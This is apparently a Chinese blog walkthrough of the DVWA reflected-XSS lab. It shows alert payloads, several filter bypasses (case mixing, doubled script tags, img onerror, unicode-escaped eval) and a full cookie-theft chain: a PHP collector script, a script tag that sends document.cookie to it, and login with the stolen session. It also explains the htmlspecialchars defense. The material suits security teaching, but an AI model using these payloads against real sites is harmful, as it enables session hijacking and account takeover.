DVWA——XSS(Reflected)——多种方法实现+详细步骤图解+获取cookie的利用过程演示

一)XSS(Reflected)介绍:

反射型xss(非持久型):需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。特点:弹窗警告、广告;javascript;在浏览器中执行。

通过Web站点漏洞,向客户交付恶意脚本代码,实现对客户端的攻击;恶意攻击者往Web页面里插入恶意的 Script 代码,当用户浏览该页面时,嵌入其中 Web 里面的 Script 代码就会被执行,从而达到恶意攻击用户的目的;注入客户端脚本代码、盗取cookie、重定向等。

二)实际中实现流程:

1)攻击者向服务器端注入一段js代码
2)服务器端响应攻击者一个带有js代码的页面
3)攻击者向普通用户发送带有js代码的页面,诱使用户点击页面
4)用户点击攻击者所发送的页面,页面自动运行js代码,获取用户cookie,并发送给攻击者

三)实际操作:
正常输入一个用户名:
在这里插入图片描述

DVWA——XSS(Reflected)——low

核心源码:

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
源码解析:

1)array_key_exists检查数组中是否有指定的键名
2)X-XSS-Protection: 1强制XSS保护(如果XSS保护被用户禁用,则有用)
                     0禁用XSS保护

可以看到,low级别的代码只是判断了name参数是否为空,如果不为空的话就直接打印出来,并没有对name参数做任何的过滤和检查,没用进行任何的对XSS攻击的防御措施,存在非常明显的XSS漏洞,用户输入什么都会被执行。

方法一:

输入 <script>alert('hack')</script> 的结果:

在这里插入图片描述
此时通过 右键——查看网页源代码 可以在网页前端代码发现刚刚输入的JS代码已经被写入了:
在这里插入图片描述

方法二:

1)用alert进行弹窗测试验证是否存在XSS:

<script>alert('hack')</script>

在这里插入图片描述
结论:成功弹窗,说明存在XSS漏洞并且可利用

2)利用XSS获取cookie
编写一个cookie.php文档用于获取页面的cookie,放置在一个指定的目录下(可以尝试放在网站的根目录之外的路径下看是否有效)文档内容如下:

<?php
 
  $cookie = $_GET[“cookie”];
 
  file_put_contents(“cookie.txt”,$cookie);
 
?>

接着编写 js 代码(意思就是利用本地的cookie.php这个文件获取cookie,要注意本地的地址要写对。)将页面的cookie发送到cookie.php中

1<script>document.location="http://localhost/dvwa/cookie.php?cookie="+document.cookie;</script>
注:前面我们只是利用<script>alert('hack')</script>其实现一个简单的弹窗并没
   有进一步加以利用,此处我们构造一句JS去获取目标的cookie,

因为要将构造的要对上面的编写的JS代码进行URL转码:

http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%E2%80%9Dhttp%3A%2F%2Flocalhost%2Fdvwa%2Fcookie.php%3Fcookie%3D%E2%80%9D%2Bdocument.cookie%3B%3C%2Fscript%3E#

解析:1)http://localhost/dvwa/vulnerabilities/xss_r/?name=
       ——是我们自己搭建的网站(dvwa)的XSS(Reflected)的路径。
     2)%3Cscript%3Edocument.location%3D%E2%80%9Dhttp%3A%2F%2Flocalhost%2Fdvwa%2Fcookie.php%3Fcookie%3D%E2%80%9D%2Bdocument.cookie%3B%3C%2Fscript%3E#
       ——是我们构造的JS代码(原本输入于id框中<script>alert('hack')</script>
         变成了<script>document.location="http://localhost/dvwa/cookie.php?cookie="+document.cookie;</script>
         并进行了url编码)。

在实际中会将此url变换成短链接并放置到公网(或目标服务器)中,等待目标用户点击此链接,一旦目标用户点击,那么攻击者就可以获取他的cookie并将cookie保存到攻击者服务器指定路径下的cookie.txt中

在自己搭建的环境中可以直接将整个编码后的url复制粘贴到地址栏进行访问,也可以将编码后的JS代码(url的后半段)在框中输入。最终页面跳转,说明js代码执行成功
在这里插入图片描述
此时,当我们到phpstudy中的www目录下就会发现成功生成了一个cookie.txt文档:
在这里插入图片描述
3)利用获取到的cookie登陆DVWA
在浏览器中访问DVWA的登陆页面,然后F12搜索cookie关键字并将cookie值修改为获取到的cookie值:

访问登陆页面:
在这里插入图片描述
修改cookie值:
在这里插入图片描述
功地利用cookie登陆了DVWA并获取了登陆身份:
在这里插入图片描述


DVWA——XSS(Reflected)——medium

<?php
header ("X-XSS-Protection: 0")
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?> 

<pre> </pre> 元素可定义预格式化的文本。被包围在 pre 元素中的文本通常会保留空格和换行符。而文本也会呈现为等宽字体。

可以看到,medium级别的代码只是在low级别上增加了对于<scripit>的过滤,把 <script>替换为空,然而并没有什么用,我们可以直接采用以下几种方式绕过。

方法一:(大小写绕过)

<sCript>alert('hack')</scRIpt>
<SCRIPT>alert('hack')</SCRIPT>

输入 <SCRIPT>alert('hack')</SCRIPT> 结果:

在这里插入图片描述

此时通过 右键——查看网页源代码 可以在网页前端代码发现刚刚输入的JS代码已经被写入了:
在这里插入图片描述
方法二:(双写绕过)

<scr<script>ipt>alert("hack")</script>
<s<script>cript>alert("hack")</script>

如果任然直接输入 <script>alert('hack')</script> 会发现alert语句没有被执行,因为<script>不再被当成标签而被过滤了:
在这里插入图片描述
查看一下源代码:
在这里插入图片描述
可以看到<script>标签已经被替换为空,但其余内容并没有改变,我们可以利用双写绕过方法,也就是把<script>标签过滤后,剩下的内容仍能组成完整的XSS语句:
在这里插入图片描述
此时再次查看源代码:

方法三:(使用非<script>标签的其他标签)

1<img src=1 onerror='alert("hack")'>
23

语句解析:只要src的值(图片)找不到就一定会发生错误,那么onerror的代码得到了执行:

方法四:(关键字编码)

有些时候服务器会对代码中关键字进行过滤(如alert),我们可以尝试将关键字进行unicode编码(但是直接把编码后的语句输入是不会起作用的),再将编码后的放在eval()会将编码后的语句解码后再执行:

将alert(“D-Rose”)进行unicode编码:

 \u0061\u006c\u0065\u0072\u0074("D-Rose")

构建出来的语句如下:

<Script>eval(\u0061\u006c\u0065\u0072\u0074("D-Rose") )</scripT>

成功弹窗:
在这里插入图片描述


DVWA——XSS(Reflected)——high

核心源码:

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?> 

可以看到,high级别的代码使用了正则表达式直接把 <*s*c*r*i*p*t 给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。所以<script>标签在这里就不能用了,但可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。

在high等级中继续使用 <script>alert(/xss/)</script> 测试是否有XSS漏洞,会发现只显示 > 前面所有字符被过滤:

在这里插入图片描述
同时尝试使用medium等级中的大小写绕过、双写绕过,发现还是所有字符都被过滤。既然在high等级中<script>标签被彻底过滤,那么我们使用非<script>标签 img、body等标签的事件或者 iframe等标签 的src注入恶意js代码。

方法一:
输入 <img src=1 οnerrοr=alert('hack')> 结果:

在这里插入图片描述

<img src=1 οnerrοr=alert('hack')>的意思是,当图片显示错误时,执行 alert(‘hack’) ,这里我们构造的的 src=1 肯定显示错误,所以执行 alert语句。

在这里插入图片描述
此时通过 右键——查看网页源代码 可以在网页前端代码发现刚刚输入的JS代码已经被写入了:

在这里插入图片描述


DVWA——XSS(Reflected)——impossible

核心源码:

<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?> 
源码分析:
htmlspecialchars(string): 把预定义的字符:
 "<" (小于)、 ">" (大于)、&''"" 转换为HTML实体,
 防止浏览器将其作为HTML元素

可以看出,impossible级别的代码先判断name是否为空,不为空的话然后验证其token,来防范CSRF攻击。然后再用htmlspecialchars函数将name中的预定义字符 “<” (小于)和 “>” (大于)转换成html实体,这样就防止了我们填入标签。

当我们输入 <script>alert('hack')</script> 时,因为 htmlspecialchars 函数会将 < 和 > 转换成html实体,并且${name}取的是$name的值,然后包围在<pre></pre>标签中被打印出来,所以我们插入的语句并不会被执行:
在这里插入图片描述
查看源代码,表单提交的过程中,把我们的user_token也一并提交了,来和服务器端的session_token做验证,防止CSRF攻击。我们输入的代码,直接被当成html文本给打印出来了,并不会被当成js脚本执行.
在这里插入图片描述

此时通过 右键——查看网页源代码 可以在网页前端代码发现刚刚输入的JS代码并没有成功的写入。


四)参考文献:

DVWA–反射型XSS(Reflected)攻略详解

  • 10
    点赞
  • 51
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值